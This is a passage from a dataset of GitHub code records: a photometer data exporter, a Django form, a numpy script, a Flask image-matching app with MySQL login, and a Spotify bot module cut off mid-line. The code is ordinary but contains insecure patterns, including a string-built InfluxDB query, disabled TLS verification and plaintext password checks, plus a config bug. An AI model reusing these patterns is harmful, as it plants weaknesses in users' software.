"form.formValidate", "line_number": 97, "usage_type": "name"}, {"api_name": "form.formValidate.OrderForm", "line_number": 97, "usage_type": "call"}, {"api_name": "form.formValidate.validate", "line_number": 98, "usage_type": "call"}, {"api_name": "form.formValidate", "line_number": 98, "usage_type": "name"}, {"api_name": "APP.SQLAPP.addEdit.dataWrite.dealDate", "line_number": 100, "usage_type": "call"}, {"api_name": "APP.SQLAPP.addEdit.dataWrite.dealDate", "line_number": 102, "usage_type": "call"}, {"api_name": "flask.current_app.celery.send_task", "line_number": 105, "usage_type": "call"}, {"api_name": "flask.current_app.celery", "line_number": 105, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 105, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 106, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 108, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 110, "usage_type": "call"}, {"api_name": "form.formValidate.messages", "line_number": 110, "usage_type": "attribute"}, {"api_name": "form.formValidate", "line_number": 110, "usage_type": "name"}, {"api_name": "flask.request.form.to_dict", "line_number": 115, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 115, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 115, "usage_type": "name"}, {"api_name": "form.formValidate", "line_number": 117, "usage_type": "name"}, {"api_name": "form.formValidate.DisForm", "line_number": 117, "usage_type": "call"}, {"api_name": "form.formValidate.validate", "line_number": 118, "usage_type": "call"}, {"api_name": "form.formValidate", "line_number": 118, "usage_type": "name"}, {"api_name": "APP.SQLAPP.addEdit.orderStore.writeNewDisModel", "line_number": 119, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 121, "usage_type": "call"}, {"api_name": "form.formValidate.messages", "line_number": 121, "usage_type": "attribute"}, {"api_name": "form.formValidate", "line_number": 121, "usage_type": "name"}, {"api_name": "flask.request.form.to_dict", "line_number": 126, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 126, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 126, "usage_type": "name"}, {"api_name": "form.formValidate", "line_number": 128, "usage_type": "name"}, {"api_name": "form.formValidate.newStoreProForm", "line_number": 128, "usage_type": "call"}, {"api_name": "form.formValidate.validate", "line_number": 129, "usage_type": "call"}, {"api_name": "form.formValidate", "line_number": 129, "usage_type": "name"}, {"api_name": "APP.SQLAPP.addEdit.orderStore.writeAdMethodModel", "line_number": 130, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 132, "usage_type": "call"}, {"api_name": "form.formValidate.messages", "line_number": 132, "usage_type": "attribute"}, {"api_name": "form.formValidate", "line_number": 132, "usage_type": "name"}, {"api_name": "models.store.StoreModel.query.filter", "line_number": 137, "usage_type": "call"}, {"api_name": "models.store.StoreModel.query", "line_number": 137, "usage_type": "attribute"}, {"api_name": "models.store.StoreModel", "line_number": 137, "usage_type": "name"}, {"api_name": "models.store.StoreModel.query.filter", "line_number": 139, "usage_type": "call"}, {"api_name": "models.store.StoreModel.query", "line_number": 139, "usage_type": "attribute"}, {"api_name": "models.store.StoreModel", "line_number": 139, "usage_type": "name"}, {"api_name": "models.store.StoreModel.id", "line_number": 139, "usage_type": "attribute"}, {"api_name": "APP.SQLAPP.search.product.refreshSaleFile", "line_number": 149, "usage_type": "call"}, {"api_name": "flask.send_file", "line_number": 150, "usage_type": "call"}]} +{"seq_id": "34128661671", "text": "from logging import exception\nfrom influxdb import InfluxDBClient\nimport csv\nimport configparser\nimport requests\nfrom zipfile import ZipFile\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\nimport sys\n\n\ndef date_automathic():\n date = datetime.today()\n date_st= date.strftime('%Y-%m-%dT00:00:00Z')\n past_date = date - relativedelta(months=1)\n past_date_st= past_date.strftime('%Y-%m-%dT00:00:00Z')\n return(date_st, past_date_st)\n\ndef work_flow(inicio,fin,path1,path2):#Path1 es donde se genera el documento con todos los fotometros y en el path 2 estan los fotometros por separados \n \n def api_extraction(url):\n\n resp = requests.get(url,verify=False) #Realizamos la petición a la API donde estan los nombres de los fotometro\n posts = resp.json()\n photometers_good_keys={}\n for i in posts:\n photometers_good_keys[i['name']] = i\n \n if resp.status_code == 200:\n return(photometers_good_keys)#Devuelve un diccionario una con los nombres como key , los values son los campos de la Api \n else:\n exception(\"The conexion with the api has failed \")\n raise\n \n def db_access(hostdb ,portdb,usernamedb,passworddb,database,start,end,name): #Solo te devuelve los datos de un fotometro(user)\n\n client = InfluxDBClient(host=hostdb, port=portdb, username=usernamedb, password=passworddb ,ssl=False, verify_ssl=False) #Accede a la base de datos mediante un cliente \n client.switch_database(database)\n data_photometer=[]\n data_photometer = client.query(\"SELECT * FROM mqtt_consumer WHERE time > '\"+ start +\"' AND time <= '\"+ end +\"' AND \\\"name\\\" = '\"+ name +\"'\") # Nos devuelve los datosl fotometros\n #con el nombre de user y metiendo la fecha de inicio y de fin\n data_photometer=list(data_photometer)\n return(data_photometer) #Devuelve los el apartado fields de los objetos en influxdb\n\n def csv_generator(data,name,user,dict,path): #Los datos deben ser de un solo fotometro (user) para añadir una cabecera con datos especificos \n if 'tester' in dict[user].keys():\n test=dict[user]['tester']\n else:\n test='NoInf'\n\n if 'info_location' in dict[user].keys():\n if 'country' in dict[user]['info_location'].keys():\n country=dict[user]['info_location']['country']\n else:\n country='NoInf'\n\n if 'region' in dict[user]['info_location'].keys():\n region=dict[user]['info_location']['region']\n else:\n region='NoInf'\n\n if 'town' in dict[user]['info_location'].keys():\n town=dict[user]['info_location']['town']\n else:\n town='NoInf'\n\n if 'place' in dict[user]['info_location'].keys():\n place=dict[user]['info_location']['place']\n else:\n place='NoInf'\n\n if 'latitude' in dict[user]['info_location'].keys():\n latitude=dict[user]['info_location']['latitude']\n else:\n latitude='NoInf'\n\n if 'longitude' in dict[user]['info_location'].keys():\n longitude=dict[user]['info_location']['longitude']\n else:\n longitude='NoInf'\n else:\n country='NoInf'\n region='NoInf'\n town='NoInf'\n place='NoInf'\n latitude='NoInf'\n longitude='NoInf'\n \n headers =[\n \"# Community Standard Skyglow Data Format 1.0\",\n'# URL: https://www.darksky.org/wp-content/uploads/bsk-pdf-manager/47_SKYGLOW_DEFINITIONS.PDF',\n'# Number of header lines: 35',\n'# This data is released under the following license: ODbL 1.0 http://opendatacommons.org/licenses/odbl/summary/',\n'# Device type: SQM-LE',\n'# Instrument ID: Dahlem_tower_le',\n'# Data supplier: '+ test+',https://api.stars4all.eu/photometers'\n'# Location name: '+country+'-'+region+'-'+ town+'-'+place,\n'# Position (lat, lon, elev(m)):'+str(latitude)+','+str(longitude) ,\n'# Local timezone: ',\n'# Time Synchronization: GPS',\n'# Moving / Stationary position: STATIONARY',\n'# Moving / Fixed look direction: FIXED'\n'# Number of channels: 1',\n'# Filters per channel: HOYA CM-500',\n'# Measurement direction per channel: 0., 0.',\n'# Field of view (degrees): 20',\n'# Number of fields per line: 6',\n'# SQM serial number: 1687',\n'# SQM firmware version: 4-3-21',\n'# SQM cover offset value: -0.11',\n'# SQM readout test ix: i,00000004,00000003,00000021,00001687',\n'# SQM readout test rx: r, 18.73m,0000000004Hz,0000130978c,0000000.284s, 031.2C',\n'# SQM readout test cx: c,00000019.69m, 0000300.000s, 023.2C,00000008.71m, 029.3C',\n'# Comment: ',\n'# Comment: ',\n'# Comment: ',\n'# Comment: ',\n'# Comment: ',\n'# blank line 30',\n'# blank line 31',\n'# blank line 32',\n'# UTC Date & Time, Local Date & Time, Temperature, Counts, Frequency, MSAS',\n'# YYYY-MM-DDTHH:mm:ss.fff;YYYY-MM-DDTHH:mm:ss.fff;Celsius;number;Hz;mag/arcsec^2',\n'# END OF HEADER']\n\n f= open(path + 'STARS4ALL'+str(name)+str('.csv'), mode='w') #Creamos el archivo y añadimos las cabeceras\n for i in headers:\n f.write(i +'\\n')\n f.write('name,tamb,tsky,mag,tstamp\\n')\n f.close()\n with open(path + 'STARS4ALL'+str(name)+str('.csv'), mode='a',newline= '') as File: #Añadimos los parametros \n writer = csv.writer(File) \n keys=['name','tamb','tsky','mag','time']\n for i in data:\n for count in i:\n writer.writerow([count[k]for k in keys])\n \n def csv_generator2(data,name,dict,path): #Los datos deben ser de todos los usuarios(data) \n \n for i in data:\n for count in i:\n count['latitude']=dict[count['name']][\"info_location\"]['latitude'] #Añadimos el apartado de latitud correspondiente al fotometro\n count['longitude']=dict[count['name']][\"info_location\"]['longitude'] #Añadimos el apartado de longitud correspondiente al fotometro\n\n with open(path + 'STARS4ALL-'+str(name)+str('.csv'), mode='a',newline= '') as File: #Añadimos los parametros \n writer = csv.writer(File) \n keys=['name','tamb','tsky','mag','time','latitude','longitude']\n for i in data:\n for count in i:\n\n writer.writerow([count[k]for k in keys])\n \n\n\n dict= api_extraction('https://api.stars4all.eu/photometers')\n\n usuarios=[]\n for i in api_extraction('https://api.stars4all.eu/photometers'):\n usuarios.append(i)\n\n date_time_obj = datetime.strptime(inicio ,'%Y-%m-%dT%H:%M:%SZ')\n name= date_time_obj.strftime('%Y-%B')\n\n import configparser\n\n config = configparser.ConfigParser()\n config.read('variable.conf')\n hostdb = config.get('HOST', 'hostdb').strip()\n portdb=config.get('HOST', 'portdb')\n usernamedb=config.get('HOST', 'usernamedb')\n passworddb=config.get('HOST', 'usernamedb')\n database=config.get('HOST', 'database')\n\n for j in usuarios:\n name1= str(name)+str(j)\n csv_generator(db_access(hostdb ,portdb,usernamedb,passworddb,database,inicio,fin,j),name1,j,dict,path1)\n\n f2= open(path2 + 'STARS4ALL-'+str(name)+ str('.csv'), \"w\") #Creamos el archivo y añadimos las cabeceras\n f2.write('name,tamb,tsky,mag,tstamp,latitude,longitude'+'\\n')\n f2.close()\n for j in usuarios:\n csv_generator2(db_access(hostdb ,portdb,usernamedb,passworddb,database,inicio,fin,j),name,dict,path2)\n\nif __name__ == \"__main__\":\n work_flow(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4])\n", "repo_name": "osoc-es/STARS4ALL", "sub_path": "Data_Extraction_funtions.py", "file_name": "Data_Extraction_funtions.py", "file_ext": "py", "file_size_in_byte": 7668, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "datetime.datetime.today", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "name"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 15, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 23, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 32, "usage_type": "call"}, {"api_name": "influxdb.InfluxDBClient", "line_number": 37, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 132, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 146, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 161, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 161, "usage_type": "name"}, {"api_name": "configparser.ConfigParser", "line_number": 166, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 185, "usage_type": "attribute"}]} +{"seq_id": "13217489300", "text": "from django import forms\nfrom django.utils.translation import gettext as _\n\nfrom giscube.tilecache.admin_forms_mixins import TileCacheChangeFormMixin\n\nfrom .models import Service\n\n\nclass ServiceChangeForm(TileCacheChangeFormMixin, forms.ModelForm):\n project = forms.FileField(required=False)\n\n def clean(self):\n super().clean()\n tilecache_enabled = self.cleaned_data['tilecache_enabled']\n wms_single_image = self.cleaned_data['wms_single_image']\n\n if tilecache_enabled and wms_single_image:\n msg = _(\"WMS single image' is not compatible with 'Tilecache enabled\")\n self.add_error('wms_single_image', msg)\n\n class Meta:\n model = Service\n exclude = ()\n", "repo_name": "giscube/giscube-admin", "sub_path": "imageserver/admin_forms.py", "file_name": "admin_forms.py", "file_ext": "py", "file_size_in_byte": 722, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "85", "api": [{"api_name": "giscube.tilecache.admin_forms_mixins.TileCacheChangeFormMixin", "line_number": 9, "usage_type": "name"}, {"api_name": "django.forms.ModelForm", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 9, "usage_type": "name"}, {"api_name": "django.forms.FileField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 10, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext", "line_number": 18, "usage_type": "call"}, {"api_name": "models.Service", "line_number": 22, "usage_type": "name"}]} +{"seq_id": "71088626517", "text": "#!/usr/bin/env python3\n\nimport os\nimport argparse\nimport numpy as np\nfrom utils import compile_repr\n\nparser = argparse.ArgumentParser(description='This program pads the representations with zeros.')\nparser.add_argument('--eig', type=str, dest='eig_directory', required=True, help='directory with eigenvalues')\nparser.add_argument('--geom', type=str, dest='geom_directory', default=None, help='directory with xyz files')\nparser.add_argument('--split', type=bool, dest='split', default=False, help='whether to split the core and valence energies or not (default=False)')\nparser.add_argument('--dir', type=str, dest='dir', default='./', help='directory to save the output in (default=current dir)')\nargs = parser.parse_args()\n\ndef count_core_val(path):\n atoms = list(np.loadtxt(path, skiprows=2, usecols=[0], dtype=str))\n NperQ = {'H': (0,1), 'C':(2,4), 'N':(2,5), 'O':(2,6), 'S' :(10,6),\n '1': (0,1), '6':(2,4), '7':(2,5), '8':(2,6), '16':(10,6)}\n N = np.array([0,0])\n for q in NperQ.keys():\n N += np.array(NperQ[q]) * atoms.count(q)\n return N//2\n\ndef main():\n\n if args.split==True and args.geom_directory==None:\n print('Please specify the geometries directory')\n return\n\n eig_directory = args.eig_directory+'/'\n eig_filenames = sorted(os.listdir(eig_directory))\n name = os.path.basename(os.path.dirname(eig_directory))\n\n X0 = []\n lens = []\n for rep in eig_filenames:\n x = np.load(eig_directory+rep)\n X0.append(x)\n lens.append(x.shape)\n\n X = compile_repr(X0, lens)\n np.save(args.dir+'/X_'+name, X)\n\n if args.split==False:\n return\n\n geom_directory = args.geom_directory+'/'\n mol_filenames = sorted(os.listdir(geom_directory))\n N = np.array([count_core_val(geom_directory+mol) for mol in mol_filenames])\n\n Xcore = np.zeros((len(X0), max(N[:,0])))\n Xval = np.zeros((len(X0), max(N[:,1])))\n for i,x in enumerate(X0):\n ncore,nval = N[i]\n Xcore[i,:ncore] = x[:ncore]\n Xval [i,:nval ] = x[ncore:]\n Xcoreval = np.concatenate((Xcore, Xval), axis=1)\n\n np.save(args.dir+'/X_'+name+'_core', Xcore)\n np.save(args.dir+'/X_'+name+'_val', Xval)\n np.save(args.dir+'/X_'+name+'_coreval', Xcoreval)\n\nif __name__ == \"__main__\":\n main()\n\n", "repo_name": "lcmd-epfl/SPAHM", "sub_path": "code/11_compile_repr_core_valence.py", "file_name": "11_compile_repr_core_valence.py", "file_ext": "py", "file_size_in_byte": 2227, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "85", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 21, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 37, "usage_type": "call"}, {"api_name": "utils.compile_repr", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 42, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 61, "usage_type": "call"}]} +{"seq_id": "33863070001", "text": "import pandas as pd\r\nfrom pipeline_ml import img_to_vid_match\r\nfrom flask import Flask, session\r\nimport os\r\nimport shutil\r\nfrom flask import Flask, request, redirect, url_for, render_template, send_from_directory\r\nfrom werkzeug.utils import secure_filename\r\nimport sys\r\nfrom flask_mysqldb import MySQL\r\nimport pathlib\r\nsys.path.append(\".\")\r\n\r\nUPLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__))\r\nDIR_PATH = os.path.dirname(os.path.realpath(__file__))\r\n\r\napp = Flask(__name__, static_url_path=\"/static\")\r\n\r\nALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'JPG', 'JPEG', 'PNG', 'm4v', 'mp4'}\r\n\r\n# db = yaml.load(open('db.yaml'))\r\napp.config['MYSQL_HOST'] = 'localhost'\r\napp.config['MYSQL_USER'] = 'root'\r\napp.config['MYSQL_PASSWORD'] = ''\r\napp.config['MYSQL_DB'] = 'db1'\r\n\r\nmysql = MySQL(app)\r\n\r\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\r\n\r\napp.config['DEBUG'] = True\r\n\r\n\r\ndef allowed_file(filename):\r\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\r\n\r\n\r\n@app.route('/file', methods=['GET', 'POST'])\r\ndef file():\r\n if request.method == 'POST':\r\n file1 = request.files['file1']\r\n file2 = request.files['file2']\r\n filename1 = file1.filename\r\n filename2 = file2.filename\r\n img_path = os.path.join(app.config['UPLOAD_FOLDER'], filename1)\r\n vid_path = os.path.join(app.config['UPLOAD_FOLDER'], filename2)\r\n file1.save(os.path.join(app.config['UPLOAD_FOLDER'], filename1))\r\n file2.save(os.path.join(app.config['UPLOAD_FOLDER'], filename2))\r\n matcher = img_to_vid_match(img_path, vid_path)\r\n result_df = matcher.Final_Match()\r\n files = list(result_df['filepath'])\r\n dest_folder = pathlib.PurePath(\r\n 'intelligent_vision V1.0\\\\resultant_images')\r\n for f in files:\r\n f_path = pathlib.PurePath(f)\r\n name_of_file = f_path.name\r\n shutil.copy(f, dest_folder / name_of_file)\r\n image_names = os.listdir('intelligent_vision V1.0\\\\resultant_images')\r\n return render_template('output.html', image_names=image_names)\r\n # return \"Successful\"\r\n return \"Error\"\r\n\r\n\r\n@ app.route(\"/index2\", methods=['GET', 'POST'])\r\ndef index2():\r\n if request.method == 'POST':\r\n frames_dir = pathlib.PurePath('intelligent_vision V1.0\\\\Frames_dir')\r\n resultant_dir = pathlib.PurePath(\r\n 'intelligent_vision V1.0\\\\resultant_images')\r\n delete_contents(frames_dir)\r\n delete_contents(resultant_dir)\r\n return render_template('index2.html')\r\n\r\n\r\n@ app.route(\"/team\")\r\ndef team():\r\n return render_template(\"team.html\")\r\n\r\n\r\n@ app.route('/', methods=['GET', 'POST'])\r\ndef index_main():\r\n return render_template('index.html')\r\n\r\n\r\n@ app.route('/login', methods=['GET', 'POST'])\r\ndef login():\r\n if request.method == 'POST' and 'username' in request.form and 'password' in request.form:\r\n # Create variables for easy access\r\n username = request.form['username']\r\n password = request.form['password']\r\n # Check if account exists using MySQL\r\n cursor = mysql.connection.cursor()\r\n cursor.execute(\r\n 'SELECT * FROM users WHERE uname = %s AND password = %s', (username, password,))\r\n # Fetch one record and return result\r\n account = cursor.fetchone()\r\n # If account exists in accounts table in out database\r\n if account:\r\n return render_template('feed.html')\r\n else:\r\n msg = 'Incorrect username/password!'\r\n return render_template('cards.html')\r\n\r\n\r\n@ app.route('/contact', methods=['GET', 'POST'])\r\ndef contact():\r\n if (request.method == 'POST'):\r\n details = request.form\r\n name = details['name']\r\n email = details['email']\r\n subject = details['subject']\r\n message = details['message']\r\n cur = mysql.connection.cursor()\r\n cur.execute(\"INSERT INTO contact(name,email,subject,message) VALUES(%s,%s,%s,%s)\",\r\n (name, email, subject, message))\r\n mysql.connection.commit()\r\n cur.close()\r\n return render_template('contact.html')\r\n return render_template('contact.html')\r\n\r\n\r\n@ app.route('/support', methods=['GET', 'POST'])\r\ndef support():\r\n if (request.method == 'POST'):\r\n details2 = request.form\r\n name = details2['name2']\r\n email = details2['email2']\r\n subject = details2['subject2']\r\n message = details2['m2']\r\n cur2 = mysql.connection.cursor()\r\n cur2.execute(\"INSERT INTO support(name,subject,email,message) VALUES(%s,%s,%s,%s)\",\r\n (name, email, subject, message))\r\n mysql.connection.commit()\r\n cur2.close()\r\n return render_template('support.html')\r\n return render_template('support.html')\r\n\r\n\r\n@ app.route(\"/output\")\r\ndef output():\r\n return render_template(\"output.html\")\r\n\r\n\r\n@ app.route(\"/feed\")\r\ndef feed():\r\n return render_template(\"feed.html\")\r\n\r\n\r\n@app.route('/upload/')\r\ndef send_image(filename):\r\n return send_from_directory(\"C:\\\\Users\\\\DELL\\\\Desktop\\\\Intelligent-Vision\\\\intelligent_vision V1.0\\\\resultant_images\", filename)\r\n\r\n\r\ndef delete_contents(dir):\r\n filelist = [f for f in os.listdir(dir)]\r\n for f in filelist:\r\n os.remove(os.path.join(dir, f))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n", "repo_name": "bhargav2427/Intelligent-Vision_Team-I.V.", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 5362, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "sys.path.append", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 16, "usage_type": "call"}, {"api_name": "flask_mysqldb.MySQL", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 39, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 40, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 41, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pipeline_ml.img_to_vid_match", "line_number": 48, "usage_type": "call"}, {"api_name": "pathlib.PurePath", "line_number": 51, "usage_type": "call"}, {"api_name": "pathlib.PurePath", "line_number": 54, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 56, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 65, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 65, "usage_type": "name"}, {"api_name": "pathlib.PurePath", "line_number": 66, "usage_type": "call"}, {"api_name": "pathlib.PurePath", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 71, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 76, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 86, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 86, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 86, "usage_type": "attribute"}, {"api_name": "flask.request.form", "line_number": 88, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 88, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 89, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 89, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 98, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 101, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 106, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 106, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 107, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 107, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 117, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 118, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 123, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 123, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 124, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 124, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 134, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 135, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 140, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 145, "usage_type": "call"}, {"api_name": "flask.send_from_directory", "line_number": 150, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 154, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 156, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 156, "usage_type": "call"}, {"api_name": "os.path", "line_number": 156, "usage_type": "attribute"}]} +{"seq_id": "74647309717", "text": "import urllib\nimport json\nimport math\nfrom spotify_Module import localization\nfrom spotify_Module import bot_Sender\nfrom spotify_Module import spotify_Service\nfrom libraries import database_Manager as db_Manager\nfrom spotify_Module import spotify_Exceptions\nfrom spotify_Module.spotify_Logger import logger\nfrom collections import Counter\n\n\n\nlanguage_Vocabluary = localization.load_Vocabluary()\n\n\n\ndef to_Main_Menu(user_ID):\n \"\"\"\n Return user to main menu\n \"\"\"\n logger.info(f\"Sending Main Menu Keyboard For User {user_ID}\")\n db_Manager.write_User_Position(user_ID, \"main_Menu\")\n user_Language = db_Manager.get_User_Language(user_ID)\n bot_Sender.controls_Main_Menu(user_ID, language_Name=user_Language)\n\n\n\ndef in_Work(user_ID):\n \"\"\"\n Set the user to an in Work position\n \"\"\"\n logger.info(f\"Sending In Work State For User {user_ID}\")\n db_Manager.write_User_Position(user_ID, \"work_In_Progress\")\n user_Language = db_Manager.get_User_Language(user_ID)\n bot_Sender.downloading_Information(user_ID, language_Name=user_Language)\n\n\n\ndef process_Type_Selector_Message(user_ID, message_Text, user_Language):\n \"\"\"\n Keyboard messages handler\n \"\"\"\n if message_Text == language_Vocabluary[user_Language][\"keyboard_Buttons\"][\"menu_Buttons\"][\"by_Decades\"]:\n in_Work(user_ID)\n create_Decades_Statistic(user_ID, language_Name=user_Language)\n\n elif message_Text == language_Vocabluary[user_Language][\"keyboard_Buttons\"][\"menu_Buttons\"][\"by_Artists\"]:\n in_Work(user_ID)\n create_Artists_Statistic(user_ID, language_Name=user_Language)\n\n elif message_Text == language_Vocabluary[user_Language][\"keyboard_Buttons\"][\"menu_Buttons\"][\"by_Genres\"]:\n in_Work(user_ID)\n create_Genres_Statistic(user_ID, language_Name=user_Language) \n\n elif message_Text == language_Vocabluary[user_Language][\"keyboard_Buttons\"][\"menu_Buttons\"][\"back_To_Menu\"]:\n to_Main_Menu(user_ID)\n\n else:\n bot_Sender.astray_Notification(user_ID, language_Name=user_Language)\n\n\n\ndef create_Decades_Statistic(user_ID, language_Name):\n \"\"\"\n Sends statistics for decades\n \"\"\"\n try:\n user_Unique_ID = db_Manager.get_User_UniqueID(user_ID)\n saved_Tracks = spotify_Service.get_Saved_Raw_Tracks(user_Unique_ID)\n total_Tracks = len(saved_Tracks)\n\n tracks_Decades = []\n for item in range(len(saved_Tracks)):\n release_Date = saved_Tracks[item][\"track\"][\"album\"][\"release_date\"]\n track_Year = release_Date.split(\"-\")[0] #The year always comes first\n track_Decade = int(int(track_Year) / 10) * 10 #Calculating a decade\n\n tracks_Decades.append(track_Decade)\n \n decades_Count = Counter(tracks_Decades)\n decades_Most_Common = decades_Count.most_common(10)\n\n most_Popular_Decades = {\"total_Tracks\":total_Tracks, \"statistic_Data\":[]}\n for decade in range(len(decades_Most_Common)):\n percent_Of_Total = round(((decades_Most_Common[decade][1] / total_Tracks) * 100), 1)\n\n most_Popular_Decades[\"statistic_Data\"].append({\n \"decade\":decades_Most_Common[decade][0],\n \"tracks_In_Decade\":decades_Most_Common[decade][1],\n \"percent_Of_Total\":percent_Of_Total\n })\n \n except spotify_Exceptions.no_Tracks:\n bot_Sender.not_Enough_Songs(user_ID, language_Name=language_Name)\n\n except spotify_Exceptions.http_Error:\n bot_Sender.cannot_Authorize(user_ID, language_Name=language_Name)\n logger.error(f\"HTTP ERROR OCCURED WHEN PREPARING DECADES STATISTIC FOR USER {user_ID}\")\n\n except spotify_Exceptions.http_Connection_Error:\n bot_Sender.servers_Link_Error(user_ID, language_Name=language_Name)\n logger.error(f\"CONNECTION ERROR OCCURED WHEN PREPARING DECADES STATISTIC FOR USER {user_ID}\")\n\n except:\n bot_Sender.unknown_Error(user_ID, language_Name=language_Name)\n logger.error(f\"UNKNOWN ERROR OCCURED WHEN PREPARING DECADES STATISTIC FOR USER {user_ID}\")\n\n else:\n bot_Sender.decades_Statistic(user_ID, statistic_Data=most_Popular_Decades, 